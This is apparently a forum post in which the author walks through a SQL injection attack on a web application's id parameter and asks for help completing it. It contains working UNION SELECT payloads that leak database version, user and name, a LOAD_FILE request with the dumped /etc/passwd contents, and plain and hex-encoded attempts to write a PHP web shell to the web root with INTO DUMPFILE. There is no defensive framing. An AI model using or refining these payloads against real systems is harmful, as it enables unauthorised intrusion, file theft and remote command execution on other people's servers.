+ check bug: http://apple.com/index.php?action=apps&id=123 >>> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119 + begin expl test: http://apple.com/index.php?action=apps&id=123+union+select+1,unhex(hex(%20concat_ws(0x3a,version(),database(),user()))),3-- >>> #5.1.73:site:root@localhost + I try read file "/etc/passwd" http://apple.com/index.php?action=apps&id=123+union+select+1,LOAD_FILE(0x2F6574632F706173737764),3-- root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0perator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin named:x:25:25:Named:/var/named:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin nscd:x:28:28:NSCD Daemon:/:/sbin/nologin admin:x:500:500::/home/admin:/bin/bash mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash + And try upload shell via INTO DUMPILE or INTO OUTFILE http://apple.com/index.php?action=apps&id=123+union+select+1,<?include($_GET["cmd']);?>,3+into+dumpfile '/var/www/shell.php'-- >> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119 + try hex code: http://apple.com/index.php?action=apps&id=123+union+select+1,0x3c3f696e636c75646528245f4745545b22636d64275d293b3f3e,3+into+dumpfile '0x2f7661722f7777772f7368656c6c2e706870'-- >> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119 + i think /var/www/ chmod 777 or 755 but i can check on server have some file chmod 777 and try INTO DUMPFILE test.txt but always see >>> Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /var/www/db.php on line 119 Anybody can help me fix link INTO OUTFILE or INTO DUMPFILE for upload shell to server
